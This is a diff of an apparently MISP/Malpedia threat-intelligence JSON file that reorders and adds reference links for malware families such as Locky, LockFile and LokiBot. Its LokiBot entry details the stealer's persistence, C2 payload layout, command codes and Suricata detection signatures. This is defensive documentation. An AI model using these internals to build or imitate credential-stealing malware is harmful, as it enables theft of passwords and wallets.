"https://www.csoonline.com/article/3631517/lockfile-ransomware-uses-intermittent-encryption-to-evade-detection.html", + "https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/", "https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-hive-ransomware/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://news.sophos.com/en-us/2021/08/27/lockfile-ransomwares-box-of-tricks-intermittent-encryption-and-evasion/" + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://news.sophos.com/en-us/2021/08/27/lockfile-ransomwares-box-of-tricks-intermittent-encryption-and-evasion/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [], "type": [] @@ -31530,29 +33041,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.locky", - "https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/", - "https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://dissectingmalwa.re/picking-locky.html", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/", - "https://threatpost.com/ransomware-gang-arrested-locky-hospitals/155842/", - "https://vixra.org/pdf/2002.0183v1.pdf", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html", - "https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/", - "http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html", - "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", - "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "http://securityaffairs.co/wordpress/49094/malware/zepto-ransomware.html", "https://intel471.com/blog/a-brief-history-of-ta505", - "https://thisissecurity.stormshield.com/2018/03/20/de-obfuscating-jump-chains-with-binary-ninja/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks", + "https://vixra.org/pdf/2002.0183v1.pdf", + "https://storage.googleapis.com/pub-tools-public-publication-data/pdf/ce44cbda9fdc061050c1d2a5dec0270874a9dc85.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/01/locky-bart-ransomware-and-backend-server-analysis/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://blog.botfrei.de/2017/08/weltweite-spamwelle-verbreitet-teufliche-variante-des-locky/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.bleepingcomputer.com/news/security/locky-ransomware-returns-but-targets-only-windows-xp-and-vista/", "http://blog.talosintelligence.com/2017/06/necurs-locky-campaign.html", - "https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/" + "https://blog.malwarebytes.com/threat-analysis/2016/03/look-into-locky/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://threatpost.com/ransomware-gang-arrested-locky-hospitals/155842/", + "https://www.cylance.com/en_us/blog/threat-spotlight-locky-ransomware.html", + "https://thisissecurity.stormshield.com/2018/03/20/de-obfuscating-jump-chains-with-binary-ninja/", + "https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-lukitus-extension-for-encrypted-files/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "http://web.archive.org/web/20181007211751/https://myonlinesecurity.co.uk/return-of-fake-ups-cannot-deliver-malspam-with-an-updated-nemucod-ransomware-and-kovter-payload/" ], "synonyms": [], "type": [] @@ -31590,8 +33101,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lock_pos", "https://www.cyberbit.com/new-lockpos-malware-injection-technique/", - "https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/", - "https://www.cylance.com/en_us/blog/threat-spotlight-lockpos-point-of-sale-malware.html" + "https://www.cylance.com/en_us/blog/threat-spotlight-lockpos-point-of-sale-malware.html", + "https://www.arbornetworks.com/blog/asert/lockpos-joins-flock/" ], "synonyms": [], "type": [] @@ -31600,20 +33111,20 @@ "value": "LockPOS" }, { - "description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.", + "description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as \u201cTrojan.Nymeria\u201d, although the connection is not well-documented.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.loda", - "https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html", - "https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html", - "https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html", - "https://www.silentpush.com/blog/more-lodarat-infrastructure-targeting-bangladesh-uncovered", - "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", "https://mp.weixin.qq.com/s/mstwBMkS0G3Et4GOji2mwA", "https://www.proofpoint.com/us/threat-insight/post/introducing-loda-malware", - "https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/", + "https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html", + "https://ti.qianxin.com/blog/articles/Kasablanka-Group-Probably-Conducted-Compaigns-Targeting-Russia/", "https://zerophagemalware.com/2018/01/23/maldoc-rtf-drop-loda-logger/", - "https://ti.qianxin.com/blog/articles/Kasablanka-Group-Probably-Conducted-Compaigns-Targeting-Russia/" + "https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html", + "https://www.proofpoint.com/us/blog/threat-insight/reservations-requested-ta558-targets-hospitality-and-travel", + "https://blog.talosintelligence.com/yorotrooper-espionage-campaign-cis-turkey-europe/", + "https://www.silentpush.com/blog/more-lodarat-infrastructure-targeting-bangladesh-uncovered", + "https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html" ], "synonyms": [ "LodaRAT", @@ -31629,18 +33140,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lodeinfo", - "https://blogs.jpcert.or.jp/en/2021/02/LODEINFO-3.html", - "https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-ii/107745/", + "https://twitter.com/jpcert_ac/status/1351355443730255872", + "https://www.cyberandramen.net/2020/06/analysis-of-lodeinfo-maldoc.html", "https://www.macnica.net/pdf/mpressioncss_ta_report_2019_4_en.pdf", "https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/", - "https://www.cyberandramen.net/2020/06/analysis-of-lodeinfo-maldoc.html", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_4.pdf", - "https://blogs.jpcert.or.jp/ja/2020/02/LODEINFO.html", - "https://blogs.jpcert.or.jp/ja/2020/06/LODEINFO-2.html", - "https://twitter.com/jpcert_ac/status/1351355443730255872", - "https://securelist.com/apt-trends-report-q3-2020/99204/", "https://blogs.jpcert.or.jp/en/2020/02/malware-lodeinfo-targeting-japan.html", - "https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-i/107742/" + "https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-i/107742/", + "https://blogs.jpcert.or.jp/en/2021/02/LODEINFO-3.html", + "https://securelist.com/apt10-tracking-down-lodeinfo-2022-part-ii/107745/", + "https://www.macnica.net/file/mpressioncss_ta_report_2019_4.pdf", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://blogs.jpcert.or.jp/ja/2020/06/LODEINFO-2.html", + "https://blogs.jpcert.or.jp/ja/2020/02/LODEINFO.html" ], "synonyms": [], "type": [] @@ -31666,8 +33177,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.logpos", - "https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html", - "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-11-16-logpos-new-point-of-sale-malware-using-mailslots.md" + "https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-11-16-logpos-new-point-of-sale-malware-using-mailslots.md", + "https://securitykitten.github.io/2015/11/16/logpos-new-point-of-sale-malware-using-mailslots.html" ], "synonyms": [], "type": [] @@ -31680,9 +33191,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.logtu", - "https://news.drweb.ru/show/?i=14177", "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf" + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf", + "https://news.drweb.ru/show/?i=14177" ], "synonyms": [], "type": [] @@ -31695,12 +33206,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lojax", - "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://habr.com/ru/amp/post/668154/", "https://www.youtube.com/watch?v=VeoXT0nEcFU", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", "https://symantec-blogs.broadcom.com/blogs/election-security/apt28-espionage-military-government", - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/" + "https://www.welivesecurity.com/wp-content/uploads/2018/09/ESET-LoJax.pdf" ], "synonyms": [], "type": [] @@ -31713,9 +33224,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokilocker", + "https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/", "https://www.theregister.com/2022/03/16/blackberry_lokilocker_ransomware/", "https://blogs.blackberry.com/en/2022/03/lokilocker-ransomware", - "https://www.msspalert.com/cybersecurity-research/lokilocker-ransomware-may-use-false-flag-to-avoid-identification/" + "https://asec.ahnlab.com/en/52570/" ], "synonyms": [], "type": [] @@ -31724,65 +33236,66 @@ "value": "LokiLocker" }, { - "description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\\ C98066\\”.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2", + "description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of \u2018-u\u2019 that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: \u201cB7E1C2CC98066B250DDB2123\u201c.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: \u201c%APPDATA%\\ C98066\\\u201d.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: \u201c.exe,\u201d \u201c.lck,\u201d \u201c.hdb\u201d and \u201c.kdb.\u201d They will be named after characters 13 thru 18 of the Mutex. For example: \u201c6B250D.\u201d Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically \u201cckav.ru\u201d. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot\u2019s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws", - "https://github.com/R3MRUM/loki-parse", - "https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file", - "https://lab52.io/blog/a-twisted-malware-infection-chain/", - "https://www.atomicmatryoshka.com/post/malware-headliners-lokibot", - "http://reversing.fun/reversing/2021/06/08/lokibot.html", - "https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://www.youtube.com/watch?v=-FxyzuRv6Wg", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", - "https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/", - "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", - "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", - "https://malcat.fr/blog/statically-unpacking-a-simple-net-dropper/", - "http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html", - "https://www.youtube.com/watch?v=N0wAh26wShE", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", "https://www.youtube.com/watch?v=K3Yxu_9OUxU", - "https://malcat.fr/blog/reversing-a-nsis-dropper-using-quick-and-dirty-shellcode-emulation/", "https://ivanvza.github.io/posts/lokibot_analysis", - "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", - "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://www.virusbulletin.com/virusbulletin/2020/02/lokibot-dissecting-cc-panel-deployments/", - "https://www.lastline.com/blog/password-stealing-malware-loki-bot/", - "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://medium.com/@paul.k.burbage/the-tale-of-the-pija-droid-firefinch-4d304fde5ca2", - "https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850", - "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html", - "https://marcoramilli.com/2019/10/28/sweed-targeting-precision-engineering-companies-in-italy/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", - "https://securelist.com/loki-bot-stealing-corporate-passwords/87595/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/evasive-urls-in-spam-part-2/", - "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://malcat.fr/blog/statically-unpacking-a-simple-net-dropper/", "https://www.infoblox.com/wp-content/uploads/infoblox-whitepaper-deep-analysis-of-a-recent-lokibot-attack.pdf", - "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", - "https://clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "http://reversing.fun/posts/2021/06/08/lokibot.html", - "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", - "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/spammed-png-file-hides-lokibot/", - "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", - "https://www.trendmicro.com/en_us/research/21/h/new-campaign-sees-lokibot-delivered-via-multiple-methods.html", - "https://phishme.com/loki-bot-malware/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/loki-info-stealer-propagates-through-lzh-files", "http://www.malware-traffic-analysis.net/2017/06/12/index.html", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/", - "https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf", + "https://medium.com/@paul.k.burbage/the-tale-of-the-pija-droid-firefinch-4d304fde5ca2", + "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://www.youtube.com/watch?v=-FxyzuRv6Wg", + "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", "https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations", + "https://www.fortinet.com/blog/threat-research/lokibot-targets-microsoft-office-document-using-vulnerabilities-and-macros", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html", + "https://marcoramilli.com/2019/10/28/sweed-targeting-precision-engineering-companies-in-italy/", + "https://malcat.fr/blog/reversing-a-nsis-dropper-using-quick-and-dirty-shellcode-emulation/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", + "https://www.youtube.com/watch?v=N0wAh26wShE", + "https://www.sans.org/reading-room/whitepapers/malicious/loki-bot-information-stealer-keylogger-more-37850", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/loki-info-stealer-propagates-through-lzh-files", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://labs.bitdefender.com/2020/03/5-times-more-coronavirus-themed-malware-reports-during-march/?utm_campaign=twitter&utm_medium=twitter&utm_source=twitter", + "https://securelist.com/loki-bot-stealing-corporate-passwords/87595/", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://blog.talosintelligence.com/2021/01/a-deep-dive-into-lokibot-infection-chain.html", + "https://clickallthethings.wordpress.com/2020/03/31/lokibot-getting-equation-editor-shellcode/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://lab52.io/blog/a-twisted-malware-infection-chain/", + "http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/evasive-urls-in-spam-part-2/", + "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", + "http://reversing.fun/posts/2021/06/08/lokibot.html", + "https://isc.sans.edu/diary/24372", + "https://github.com/d00rt/hijacked_lokibot_version/blob/master/doc/LokiBot_hijacked_2018.pdf", + "https://r3mrum.wordpress.com/2017/05/07/loki-bot-atrifacts/", + "https://www.trendmicro.com/en_us/research/21/h/new-campaign-sees-lokibot-delivered-via-multiple-methods.html", + "https://github.com/R3MRUM/loki-parse", + "http://reversing.fun/reversing/2021/06/08/lokibot.html", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://cysinfo.com/nefarious-macro-malware-drops-loki-bot-across-gcc-countries/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/spammed-png-file-hides-lokibot/", + "https://cybergeeks.tech/how-to-expose-a-potential-cybercriminal-due-to-misconfigurations/", + "https://blog.prevailion.com/2020/02/the-triune-threat-mastermana-returns.html", + "https://blog.yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/", + "https://resources.malwarebytes.com/files/2020/05/CTNT_Q1_2020_COVID-Report_Final.pdf", + "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", + "https://www.virusbulletin.com/virusbulletin/2020/02/lokibot-dissecting-cc-panel-deployments/", + "https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://www.atomicmatryoshka.com/post/malware-headliners-lokibot", "https://isc.sans.edu/diary/27282", - "https://isc.sans.edu/diary/24372" + "https://phishme.com/loki-bot-malware/", + "https://www.lastline.com/blog/password-stealing-malware-loki-bot/" ], "synonyms": [ "Burkina", @@ -31813,10 +33326,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif", + "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", + "https://www.telekom.com/en/blog/group/article/lolsnif-tracking-another-ursnif-based-targeted-campaign-600062", "https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/", "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://www.telekom.com/en/blog/group/article/lolsnif-tracking-another-ursnif-based-targeted-campaign-600062", - "https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/", "https://medium.com/@vishal_thakur/lolsnif-malware-e6cb2e731e63" ], "synonyms": [], @@ -31830,8 +33343,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch", - "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", - 